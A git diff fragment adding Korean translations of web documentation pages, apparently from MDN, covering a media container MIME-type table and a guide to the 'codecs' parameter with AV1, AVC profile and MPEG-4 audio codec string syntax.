+ <td style="vertical-align: top;"><code>audio/mp4</code></td>
+ <td style="vertical-align: top;"><code>.mp4</code><br>
+ <code>.m4a</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td style="vertical-align: top;"><code>video/mp4</code></td>
+ <td style="vertical-align: top;"><code>.mp4</code><br>
+ <code>.m4v</code><br>
+ <code>.m4p</code></td>
+ <td style="vertical-align: top;">Firefox</td>
+ </tr>
+ <tr>
+ <th scope="row" style="vertical-align: top;">Ogg</th>
+ <td style="vertical-align: top;"><code>audio/ogg</code></td>
+ <td style="vertical-align: top;"><code>.oga</code><br>
+ <code>.ogg</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td style="vertical-align: top;"><code>video/ogg</code></td>
+ <td style="vertical-align: top;"><code>.ogv</code><br>
+ <code>.ogg</code></td>
+ <td style="vertical-align: top;">Firefox</td>
+ </tr>
+ <tr>
+ <th scope="row" style="vertical-align: top;">QuickTime Movie (MOV)</th>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">—</td>
+ <td style="vertical-align: top;"><code>video/quicktime</code></td>
+ <td style="vertical-align: top;"><code>.mov</code></td>
+ <td style="vertical-align: top;"></td>
+ </tr>
+ <tr>
+ <th scope="row" style="vertical-align: top;">WAV (Waveform Audiofile)</th>
+ <td style="vertical-align: top;"><code>audio/wav</code></td>
+ <td style="vertical-align: top;"><code>.wav</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top;">—</td>
+ <td style="vertical-align: top;">—</td>
+ </tr>
+ <tr>
+ <th scope="row" style="vertical-align: top;">WebM</th>
+ <td style="vertical-align: top;"><code>audio/webm</code></td>
+ <td style="vertical-align: top;"><code>.webm</code></td>
+ <td style="vertical-align: top; border-right: 2px solid #d4dde4;">Firefox</td>
+ <td style="vertical-align: top;"><code>video/webm</code></td>
+ <td style="vertical-align: top;"><code>.webm</code></td>
+ <td style="vertical-align: top;">Firefox</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a></li>
+ <li>{{HTMLElement("audio")}} and {{HTMLElement("video")}} elements</li>
+</ul>
diff --git a/files/ko/web/media/formats/코덱파라미터/index.html b/files/ko/web/media/formats/코덱파라미터/index.html
new file mode 100644
index 0000000000..43cce1aa1f
--- /dev/null
+++ b/files/ko/web/media/formats/코덱파라미터/index.html
@@ -0,0 +1,971 @@
+---
+title: 일반 미디어 타입에서 "codecs" 파라미터 사용하기
+slug: Web/Media/Formats/코덱파라미터
+translation_of: Web/Media/Formats/codecs_parameter
+---
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}</div>
+
+<p>기본적으로, <code>video/mp4</code>, <code>audio/mpeg</code> 처럼 {{Glossary("MIME")}} 타입을 통해 미디어 파일 포맷을 명시할 수 있습니다. 하지만 많은 미디어 타입들이-특히 비디오 트랙을 지원하는 경우-가지고 있는 데이터 포맷에 대해 더 상세하고 정확하게 명시할 수 있습니다. 예를들어 <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> 비디오라고 해서 MIME 타입을 <code>video/mp4</code>만 명시한다면 정확히 어떤 미디어를 가지고 있는 지 아무 정보도 알 수 없습니다.</p>
+
+<p>때문에 MIME 타입에 추가로 미디어 콘텐츠를 기술하기 위해 <code>codecs</code> 파라미터가 추가되었습니다. 이를 통해 컨테이너 특화된 정보를 제공할 수 있게 되었습니다 이 정보에는 비디오 코덱의 프로파일, 오디오 트랙 타입 등을 추가할 수 있습니다.</p>
+
+<p><span class="seoSummary">이 가이드 문서는 단순히 컨테이너 타입 명시를 넘어 <code>codecs</code> 파라미터의 문법과 MIME 타입에 비디오/오디오 콘텐츠에 대한 상세 정보를 기술하는 방법에 대해 설명합니다.</span></p>
+
+<h2 id="일반_문법">일반 문법</h2>
+
+<p>기본적인 MIME 미디어 타입 표현은 미디어 타입(<code>audio</code>, <code>video</code>, 등)으로 시작하며, 슬래쉬 문자 (<code>/</code>) 후 미디어를 포함하고 있는 컨테이너 포맷이름으로 이어집니다:</p>
+
+<dl>
+ <dt><code>audio/mpeg</code></dt>
+ <dd>MP3 같은 <a href="/en-US/docs/Web/Media/Formats/Containers#MPEG">MPEG</a> 파일 타입의 오디오 파일입니다.</dd>
+ <dt><code>video/ogg</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a> 파일 타입의 비디오 파일입니다.</dd>
+ <dt><code>video/mp4</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> 파일 타입을 사용하는 비디오입니다.</dd>
+ <dt><code>video/quicktime</code></dt>
+ <dd>애플 <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a> 포맷을 사용하는 비디오입니다. 다른 곳에서 서술되어 있듯이, 한때는 웹에서 널리 쓰여지던 형식이었지만 현재는 플러그인이 필요하여 더 이상 사용하지 않는 타입입니다.</dd>
+</dl>
+
+<p>위 MIME 타입은 아직 모호한 표현입니다. 각 파일 타입들은 많은 수의 코덱을 지원하며 코덱은 각기 프로파일, 레벨과 같은 설정 인자들을 가지고 있습니다. 그래서 <code>codecs</code> 파라미터를 추가하여 명시할 수 있습니다.</p>
+
+<p>세미콜론 (<code>;</code>)을 붙이고 <code>codecs=</code> 으로 시작하는 문자열을 덧붙여 콘텐츠의 포맷을 서술할 수 있습니다. 일부 미디어 타입은 사용하는 코덱 이름만 명시 가능할 수 있고 다른 미디어 타입은 코덱에 관한 다양한 인자를 기술할 수 있는 경우도 있습니다. 콤마로 구분하여 여러 코덱을 기술할 수도 있습니다.</p>
+
+<dl>
+ <dt><code>audio/ogg; codecs=vorbis</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Vorbis">Vorbis</a> 오디오 트랙을 포함하는 <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a> 컨테이너 파일입니다.</dd>
+ <dt><code>video/webm; codecs="vp8, vorbis"</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a> 비디오와 <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Vorbis">Vorbis</a> 오디오를 포함하는 <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a> 컨테이너 파일입니다.</dd>
+ <dt><code>video/mp4; codecs="avc1.4d002a"</code></dt>
+ <dd><a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a> (H.264) 코덱에 Main Profile, Level 4.2을 가지는 <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> 컨테이너 파일입니다.</dd>
+</dl>
+
+<p>코덱의 속성 중 하나라도 퍼센트-인코딩이 필요한 특수문자{{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}를 사용하는 경우 MIME 타입을 기술하는 문자열의 <code>codecs</code> 파라미터를 <code>codecs*</code> (애스터리크(<code>*</code>) 추가됨에 유의)로 변경해야 합니다. JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} function으로 파라미터 목록을 인코딩할 수 있습니다; 반대로 {{jsxref("Global_Objects/decodeURI", "decodeURI()")}}를 통해 기인코딩된 파라미터 리스트를 디코딩할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><code>codecs</code> 파라미터를 사용한다면, 파일 콘텐츠가 사용한 모든 코덱을 목록에 명시해야합니다. 목록에 파일이 사용하고 있지 않은 코덱을 명시하는 것도 가능합니다.</p>
+</div>
+
+<h2 id="컨테이너별_코덱_옵션">컨테이너별 코덱 옵션</h2>
+
+<p>아래 컨테이너들은 <code>codecs</code> 파라미터에 확장 옵션을 지원합니다:</p>
+
+<div class="index">
+<ul>
+ <li>{{anch("ISO-BMFF", "3GP")}}</li>
+ <li>{{anch("AV1")}}</li>
+ <li>{{anch("ISO-BMFF", "ISO BMFF")}}</li>
+ <li>{{anch("ISO-BMFF", "MPEG-4")}}</li>
+ <li>{{anch("ISO-BMFF", "QuickTime")}}</li>
+ <li>{{anch("WebM")}}</li>
+</ul>
+</div>
+
+<p>링크를 클릭하면 동일한 섹션으로 이동할텐데요; 위 미디어 타입들은 모두 ISO Base Media File Format (ISO BMFF)를 기반하고 있어, 동일한 문법을 공유하기 때문입니다.</p>
+
+<h3 id="AV1">AV1</h3>
+
+<p>AV1의 <code>codecs</code> 문법은<a href="https://aomediacodec.github.io/av1-isobmff">AV1 Codec ISO Media File Format Binding</a> 스펙 문서의, 섹션 5: <a href="https://aomediacodec.github.io/av1-isobmff/#codecsparam">Codecs Parameter String</a>에 정의되어 있습니다.</p>
+
+<pre class="notranslate">av01.P.LLT.DD[.M[.CCC[.cp[.tc[.mc[.F]]]]]]</pre>
+
+<p>아래 표에서 코덱 파라미터 문자열 구성요소에 대해 자세히 설명하고 있습니다. 각 요소들은 고정된 개수의 문자로 되어 있으며;고정 길이보다 짧은 경우 앞에 0을 붙여서 맞춰야 합니다..</p>
+
+<table class="standard-table">
+ <caption>AV1 코덱 파라미터 문자열 요소</caption>
+ <thead>
+ <tr>
+ <th scope="col">요소</th>
+ <th scope="col">내용</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>P</code></td>
+ <td>
+ <p>한자리 숫자 프로파일 번호:</p>
+
+ <table class="standard-table">
+ <caption>AV1 프로파일 번호</caption>
+ <thead>
+ <tr>
+ <th scope="col">프로파일 번호</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>0</td>
+ <td>"Main" 프로파일; YUV 4:2:0/모노크롬 크로마 서브샘플링 및 8/10 비트 색 깊이 지원.</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>"High" 프로파일 4:4:4 크로마 서브샘플링 추가 지원.</td>
+ </tr>
+ <tr>
+ <td>2</td>
+ <td>"Professional" 프로파일, 4:2:2 크로마 서브샘플링 및 12 비트 색 깊이 추가 지원</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ <tr>
+ <td><code>LL</code></td>
+ <td>두자리 숫자 레벨 번호,  X.Y 형태의 레벨 포맷으로 변환 됨, <code>X = 2 + (LL &gt;&gt; 2)</code>, <code>Y = LL &amp; 3</code>. 자세한 내용은 AV1 스펙 문서의 <a href="https://aomediacodec.github.io/av1-spec/#levels">Appendix A, section 3</a> 참조.</td>
+ </tr>
+ <tr>
+ <td><code>T</code></td>
+ <td>한자리 문자 티어 표시. Main 티어라면 (<code>seq_tier</code> equals 0), 문자는 <code>M</code>. High 티어는 (<code>seq_tier</code> is 1) <code>H</code>. High 티어는 4.0 이상 레벨에서만 가능합니다.</td>
+ </tr>
+ <tr>
+ <td><code>DD</code></td>
+ <td>두자리 숫자 색 깊이. 8, 10, 12 중 하나여야 하며; 프로파일과 다른 속성에서 지원 가능한 값이여야 합니다.</td>
+ </tr>
+ <tr>
+ <td><code>M</code></td>
+ <td>한자리 숫자 모노크롬 플래그; 0인 경우 비디오는 U, V, Y 성분을 모두 가지고 있습니다. 아닌 경우 전체 비디오 데이터는 Y(휘도) 성분 뿐으로 모노크롬 이미지를 가집니다. 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/Media/Formats/Video_concepts", "YUV")}}를 참조하여 YUV 컬러 시스템이 어떻게 동작하는지 알아보세요. 기본 값은 0 (모노크롬 아님)입니다.</td>
+ </tr>
+ <tr>
+ <td><code>CCC</code></td>
+ <td>
+ <p><code>CCC</code> 는 세자리 숫자로 크로마 서브샘플링을 표기합니다. 첫번째 숫자는 <code>subsampling_x</code>, 두 번째 숫자는 <code>subsampling_y</code>. 둘다 1인경우, 세번째 값은 <code>chroma_sample_position</code>; 아닌 경우 세번째 값은 항상 0입니다. <code>M</code> 값과 더불어 크로마 서브샘플링 포맷을 구성하는 요소입니다:</p>
+
+ <table class="standard-table">
+ <caption>크로마 서브샘플링 결정 방식</caption>
+ <thead>
+ <tr>
+ <th scope="col">subsampling_x</th>
+ <th scope="col">subsampling_y</th>
+ <th scope="col">Monochrome flag</th>
+ <th scope="col">Chroma subsampling format</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>0</td>
+ <td>0</td>
+ <td>0</td>
+ <td>YUV 4:4:4</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>0</td>
+ <td>0</td>
+ <td>YUV 4:2:2</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>0</td>
+ <td>YUV 4:2:0</td>
+ </tr>
+ <tr>
+ <td>1</td>
+ <td>1</td>
+ <td>1</td>
+ <td>YUV 4:0:0 (Monochrome)</td>
+ </tr>
+ </tbody>
+ </table>
+
+ <p><code>CCC</code>의 세번째 값은 크로마 샘플 위치(chroma sample position)로, 0은 위치를 알 수 없으며 디코딩 시 개별적으로 제공해야 함을 의미합니다; 1은 샘플이 (0, 0) 휘도 샘플과 동일한 수평선상에 있음을 의미합니다; 2는 샘플이 (0, 0) 휘도 샘플과 동일한 위치에 있음을 의미합니다.</p>
+
+ <p>기본 값은 <code>110</code> (4:2:0 크로마 서브샘플링)입니다.</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>cp</code></td>
+ <td>두자리 숫자 <code>color_primaries</code> 값은 미디어의 색 공간을 표시합니다. 예를 들어 HDR 비디오에서 사용하는 BT.2020/BT.2100 색 공간은 <code>09</code>입니다. 자세한 정보-그 외의 색 공간 값을 포함하여-는 AV1 스펙 문서의 <a href="https://aomediacodec.github.io/av1-spec/#color-config-semantics">Color config semantics section</a> 를 참조하세요. 기본값은 <code>01</code> (ITU-R BT.709)입니다.</td>
+ </tr>
+ <tr>
+ <td><code>tc</code></td>
+ <td>두자리 숫자 <code>transfer_characteristics</code> 값. 이 값은 소스에서 디스플레이로 감마를 매핑하는 함수(기술적인 용어로 "opto-electrical transfer function"라 표현)를 정의합니다. 예를 들어 10-bit BT.2020는 <code>14</code>입니다. 기본 값은 <code>01</code> (ITU-R BT.709)입니다.</td>
+ </tr>
+ <tr>
+ <td><code>mc</code></td>
+ <td>두자리 숫자 <code>matrix_coefficients</code> 상수는 RGB 컬러 채널을 휘도/색차 신호로 변환 시 사용할 계수 행렬을 선택합니다. 예를 들어 BT.709의 표준 계수 값은 <code>01</code>로 표현합니다. 기본 값은 <code>01</code> (ITU-R BT.709)입니다.</td>
+ </tr>
+ <tr>
+ <td><code>F</code></td>
+ <td>한자리 숫자로 색상이 가능한 모든 범위를 표현해야 할지(<code>1</code>), 지정한 색 설정에 의해 적합하다고 여겨지는 범위로 제한하여 표현(<strong>studio swing representation</strong>이라 표현)해야 할지를 나타내는 값입니다. 기본 값은 0 (studio swing representation 적용)입니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>M</code> (모노크롬 플래그)이후의 요소는 모두 비필수입니다; 어느 곳에서부터나 생략할 수 있습니다 (하지만 임의의 중간 요소를 생략할 수는 없습니다). 기본 값은 위 표에 서술하였습니다. AV1 코덱 문자열 예시는 아래와 같습니다:</p>
+
+<dl>
+ <dt><code>av01.2.15M.10.0.100.09.16.09.0</code></dt>
+ <dd>AV1 Professional 프로파일, 레벨 5.3, Main 티어, 10 비트 색 깊이, 4:2:2 크로마 서브샘플링 ITU-R BT.2100 색 공간, 색 전환 YCbCr 색상 행렬. Studio swing representation 적용.</dd>
+ <dt><code>av01.0.15M.10</code></dt>
+ <dd>AV1 Main 프로파일, 레벨 5.3, Main 티어, 10 비트 색 깊이. 나머지 요소는 기본 값 사용: 4:2:0 크로마 서브 샘플링, BT.709 색 공간, 색 전환, 계수 행렬 사용. Studio swing representation.</dd>
+</dl>
+
+<h3 id="ISO_Base_Media_File_Format_MP4_QuickTime_and_3GP"><a id="ISO-BMFF" name="ISO-BMFF">ISO Base Media File Format: MP4, QuickTime, and 3GP</a></h3>
+
+<p>모든 미디어 타입은 {{interwiki("wikipedia", "ISO Base Media File Format")}} (ISO BMFF)를 기반으로 하며 <code>codecs</code> 문법을 공유합니다. 이들 미디어 타입은 <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a> (또 사실상 MPEG-4를 기반으로 하고 있으므로 <a href="/en-US/docs/Web/Media/Formats/Containers#QuickTime">QuickTime</a>도 포함)과 <a href="/en-US/docs/Web/Media/Formats/Containers#3GP">3GP</a>를 포함합니다. MIME 타입의 <code>codecs</code> 파라미터를 통해 아래와 같이 비디오/오디오 트랙 둘 다 기술할 수 있습니다.:</p>
+
+<table class="standard-table">
+ <caption>ISO BMFF codecs 파라미터를 지원하는 기본 MIME 타입</caption>
+ <thead>
+ <tr>
+ <th scope="col">MIME 타입</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/3gpp</code></td>
+ <td>3GP 오디오 ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}})</td>
+ </tr>
+ <tr>
+ <td><code>video/3gpp</code></td>
+ <td>3GP 비디오 ({{RFC(3839, "MIME Type Registrations for 3rd generation Partnership Project (3GP) Multimedia files")}})</td>
+ </tr>
+ <tr>
+ <td><code>audio/3gp2</code></td>
+ <td>3GP2 오디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})</td>
+ </tr>
+ <tr>
+ <td><code>video/3gp2</code></td>
+ <td>3GP2 비디오 ({{RFC(4393, "MIME Type Registrations for 3GPP2 Multimedia files")}})</td>
+ </tr>
+ <tr>
+ <td><code>audio/mp4</code></td>
+ <td>MP4 오디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})</td>
+ </tr>
+ <tr>
+ <td><code>video/mp4</code></td>
+ <td>MP4 비디오 ({{RFC(4337, "MIME Type Registration for MPEG-4")}})</td>
+ </tr>
+ <tr>
+ <td><code>application/mp4</code></td>
+ <td>오디오/비디오가 아닌 MPEG-4 컨테이너 미디어</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>codecs</code> 파라미티에는 간단하게 컨테이너 명(<code>3gp</code>, <code>mp4</code>, <code>quicktime</code>, etc.)만 기술할 수도 있으며 컨테이너 명에 코덱 이름 및 설정 값을 함께 기술할 수도 있습니다. 각 코덱 등은 온점(<code>.</code>)으로 구분된 요소를 다수 가질 수 있습니다.</p>
+
+<p><code>codecs</code> 값의 문법은 코덱마다 다릅니다; 하지만 항상 4 글자 코덱 구분자와 온점(<code>.</code>)으로 시작하며 데이터 포맷을 기술하기 위핸 Object Type Indication (OTI) 형식의 문자열이 뒤따릅니다. 대부분의 코덱에서 OTI는 두자리 16진수로 되어 있지만 <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC (H.264)</a>는 6자리 16진수로 구성되어 있습니다.</p>
+
+<p>따라서 지원하는 코덱 문법은 아래와 유사합니다:</p>
+
+<dl>
+ <dt><code>cccc[.pp]*</code> (Generic ISO BMFF)</dt>
+ <dd><code>cccc</code> 는 4 글자 코덱 ID이며  <code>pp</code>는 0~2자리 인코딩 된 문자입니다.</dd>
+ <dt><code>mp4a.oo[.A]</code> (MPEG-4 audio)</dt>
+ <dd><code>oo</code> 는 미디어 콘텐츠를 더 정확하게 기술하는 Object Type Indication 값이며 <code>A</code> 는 한자리 숫자<em>오디오</em> OTI입니다. OTI로 가능한 값은 MP4 Registration Authority 웹사이트의 <a href="http://mp4ra.org/#/object_types">Object Types page</a> 페이지에서 확인할 수 있습니다. 예를들어 MP4 파일의 Opus 오디오는 <code>mp4a.ad</code>로 기술합니다. 자세한 내용은 {{anch("MPEG-4 audio")}}를 참조하세요.</dd>
+ <dt><code>mp4v.oo[.V]</code> (MPEG-4 video)</dt>
+ <dd>마찬가지로 <code>oo</code> 는 미디어 콘텐츠를 명시하는 OTI 값이며, <code>V</code> 는 한자리 숫자 <em>비디오</em> OTI 값입니다.</dd>
+ <dt><code>avc1.oo[.PPCCLL]</code> (AVC video)</dt>
+ <dd>
+ <p><code>oo</code> 는 콘텐츠를 명시하는 OTI 값이며, while <code>PPCCLL</code> 는 6자리 16진수로써 프로파일 넘버 (<code>PP</code>), 제약 플래그 (<code>CC</code>), 레벨 (<code>LL</code>)을 의미합니다. <code>PP</code>로 가능한 값은 {{anch("AVC profiles")}}를 참조하세요.</p>
+
+ <p>제약 플래그는 1 비트 불리언 값이며, MSB는 flag 0(또는 일부에선 <code>constraint_set0_flag</code>)로 취급합니다. 그리고 이어지는 비트는 하나씩 번호가 높게 매겨집니다. 현재로썬 0부터 2번째 비트까지만 사용하며;나머지 5개의 비트는 <em>반드시</em> 0이어야합니다. 각 플래그의 의미는 사용하는 프로파일에 따라 달라집니다.</p>
+
+ <p>레벨 값은 고정 소수점이므로 숫자 <code>14</code> (10진법 20) 은 레벨 2.0을 의미하며 <code>3D</code> (10진법 61) 은 레벨 6.1을 의미합니다. 일반적으로 레벨 숫자가 높을 수록 스트림 대역폭이 높아 더 큰 크기의 비디오를 지원할 수 있습니다.</p>
+ </dd>
+</dl>
+
+<h4 id="AVC_프로파일">AVC 프로파일</h4>
+
+<p>아래의 AV 프로파일 넘버는 <code>codecs</code> 파라미터에서 사용하며 제약 요소 값은 <code>CC</code>로 사용할 수 있습니다.</p>
+
+<table class="standard-table">
+ <caption><code>codecs</code>  파라미터에서 AVC 프로파일과 제약 요건을 명세하기 위한 값</caption>
+ <thead>
+ <tr>
+ <th scope="col">프로파일</th>
+ <th scope="col">넘버(Hex)</th>
+ <th scope="col">제약 (byte)</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><strong>Constrained Baseline Profile (CBP)</strong><br>
+ CBP는 리소스가 제약점이 있거나 재생이 원활하지 못해 발생하는 이상 요소들을 최소화 해야 하는 경우 주요한 해결책입니다.</td>
+ <td><code>42</code></td>
+ <td><code>40</code></td>
+ </tr>
+ <tr>
+ <td><strong>Baseline Profile (BP)</strong><br>
+ CBP와 유사하나 데이터 손실 방지와 복구 능력을 향상시킨 프로파일입니다.  CBP가 도입된 이후에는 이전만큼 널리 사용하고 있지는 않습니다. CBP 스트림은 모두 BP 스트림으로 간주할 수도 있습니다.</td>
+ <td><code>42</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Extended Profile (XP)</strong><br>
+ 고효율 압축과 네트워크 전송시의 데이터 안정성, 스트림 스위칭을 고려한 프로파일입니다.</td>
+ <td><code>58</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Main Profile (MP)</strong><br>
+ MPEG-4 포맷으로 전송하는 디지털 표준 TV 방송에서 사용하는 프로파일입니다. 고선명 TV(HDV)에서는 <em>사용하지 않습니다</em>. 2004년 —HDTV에서 사용하기 위해— High Profile이 추가된 이후 중요도가 감소하였습니다.</td>
+ <td><code>4D</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>High Profile (HiP)</strong><br>
+ 현재로써는 전파방송과 매체기반 HD 비디오에서 사용하는 주요 프로파일입니다. HD TV 방송과 블루레이 미디어에서 사용하고 있습니다.</td>
+ <td><code>64</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Progressive High Profile (PHiP)</strong><br>
+ 필드 코딩 지원을 제거한 High Profile입니다.</td>
+ <td><code>64</code></td>
+ <td><code>08</code></td>
+ </tr>
+ <tr>
+ <td><strong>Constrained High Profile</strong><br>
+ 양방향 예측 슬라이스("B-slices") 지원을 제거한 PHiP입니다.</td>
+ <td><code>64</code></td>
+ <td><code>0C</code></td>
+ </tr>
+ <tr>
+ <td><strong>High 10 Profile (Hi10P)</strong><br>
+ 10 비트 컬러 모드 지원을 제거한 High Profile입니다.</td>
+ <td><code>6E</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>High 4:2:2 Profile (Hi422P)</strong><br>
+ Hi10P에 4:2:2 크로마 서브샘플링과 최대 10비트 컬러 모드 지원을 추가한 프로파일입니다.</td>
+ <td><code>7A</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>High 4:4:4 Predictive Profile (Hi444PP)</strong><br>
+ Hi422P 및 Hi444PP에 4:4:4 크로마 서브샘플링(색차 샘플링 소거 없음)을 추가 지원한 프로파일입니다. 또한 최대 14비트 컬러 샘플과 효율적인 무손실 지역 코딩을 추가하였습니다. 각 프레임을 3개의 분리된 컬러 평면(각 평면은 모노크롬 프레임형태로 저장됩니다)으로 인코딩할 수 있는 옵션입니다.</td>
+ <td><code>F4</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>High 10 Intra Profile</strong><br>
+ all-intra-frame에 High 10 제약이 걸린 프로파일입니다. 전문가 용 앱에 주로 쓰입니다.</td>
+ <td><code>6E</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <td><strong>High 4:2:2 Intra Profile</strong><br>
+ all-intra-frame에 Hi422를 적용한 프로파일입니다.</td>
+ <td><code>7A</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <td><strong>High 4:4:4 Intra Profile</strong><br>
+ all-intra-frame에 High 4:4:4 제약을 건 프로파일입니다.</td>
+ <td><code>F4</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <td><strong>CAVLC 4:4:4 Intra Profile</strong><br>
+ all-intra-frame에 High 4:4:4 제약, CAVLC 엔트로피 코딩만 사용하는 프로파일입니다.</td>
+ <td><code>44</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Scalable Baseline Profile</strong><br>
+ 화상 회의, 감시 카메라 및 모바일 장치에서 쓰이는 프로파일로, {{interwiki("wikipedia", "SVC")}} Baseline Profile은 AVC의 Constrained Baseline profile에 기반하고 있습니다. 스트림의 베이스 레이어는 고품질로 제공되면서, 제약이 걸린 환경에서 대안이 될 수 있는 서브스트림을 다수 제공하는 방식입니다. 서브스트림은 해상도 감소, 낮은 프레임레이트, 압축률 저하 등을 조합하여 구성합니다.</td>
+ <td><code>53</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Scalable Constrained Baseline Profile</strong><br>
+ 실시간 양방향 대화형 어플리케이션에서 주요 사용하는 프로파일입니다. WebRTC에서 아직 정식으로 지원하지는 않지만,  <a href="https://github.com/w3c/webrtc-svc">SVC를 활성화</a>하여 WebRTC AP 개발 모드에서 사용해 볼 수 있습니다.</td>
+ <td><code>53</code></td>
+ <td><code>04</code></td>
+ </tr>
+ <tr>
+ <td><strong>Scalable High Profile</strong><br>
+ 방송 및 스트리밍 어플리케이션에서 주로 사용합니다. 베이스(또는 최고 품질) 레이어에는 AVC High Profile이 반드시 포함되어야 합니다.</td>
+ <td><code>56</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Scalable Constrained High Profile</strong><br>
+ 실시간 통신을 위한 Scalable High Profile의 서브셋 프로파일입니다.</td>
+ <td><code>56</code></td>
+ <td><code>04</code></td>
+ </tr>
+ <tr>
+ <td><strong>Scalable High Intra Profile</strong><br>
+ 비디오 제작 어플리케이션을 위한 all-intra-frame 프로파일입니다.</td>
+ <td><code>56</code></td>
+ <td><code>20</code></td>
+ </tr>
+ <tr>
+ <td><strong>Stereo High Profile</strong><br>
+ 양안 렌더링을 통한 스테레오스코픽(stereoscopic) 비디오를 지원하는 프로파일입니다. 양안 영상이 아닌 경우 High profile과 동일합니다.</td>
+ <td><code>80</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Multiview High Profile</strong><br>
+ 시간 및 MVC inter-view 예측을 통한 2개 이상의 뷰를 지원하는 프로파일입니다. 필드 픽쳐 또는 매크로블록-어댑티브한 frame-field 코딩을 <em>지원하지 않습니다</em>.</td>
+ <td><code>76</code></td>
+ <td><code>00</code></td>
+ </tr>
+ <tr>
+ <td><strong>Multiview Depth High Profile</strong><br>
+ High Profile에 기반하며 메인 서브스트림이 반드시 붙어야 합니다. 나머지 서브스트림들은 Stereo High Profile과 매칭되어야 합니다.</td>
+ <td><code>8A</code></td>
+ <td><code>00</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="MPEG-4_audio">MPEG-4 audio</h4>
+
+<p><code>codecs</code> 목록의 값 항목이 <code>mp4a</code>로 시작한다면, 문법은 아래와 같아야 합니다:</p>
+
+<pre class="notranslate">mp4a.oo[.A]</pre>
+
+<p><code>oo</code> 는 두자리 16진수 Object Type Indication으로 미디어에 사용된 코덱 클래스를 표시합니다. OTI 값은 <a href="http://mp4ra.org/">MP4 Registration Authority</a>에서 규정하고 있으며 <a href="http://mp4ra.org/#/object_types">list of the possible OTI values</a>에서 가용한 값을 확인할 수 있습니다. 특수한 값인 <code>40</code>; 이는 미디어가 MPEG-4 audio(ISO/IEC 14496 Part 3)임을 나타냅니다. 조금 더 자세히 말하자면, 세번째 컴포넌트—Audio Object Type—은 OTI <code>40</code> 을 MPEG-4의 특정 하위 타입으로 범위를 좁히기 위해 추가하였습니다.</p>
+
+<p>Audio Object Type는 두자리 <em>10진수</em>로 이루어져 있습니다(<code>codecs</code> 파라미터의 다른 값은 대부분 16진수). 예를들어 MPEG-4 AAC-LC의 오디오 오브젝트 타입은 숫자 2이므로 AAC-LC의 전체 <code>codecs</code> 표현 값은 <code>mp4a.40.2</code> 입니다.</p>
+
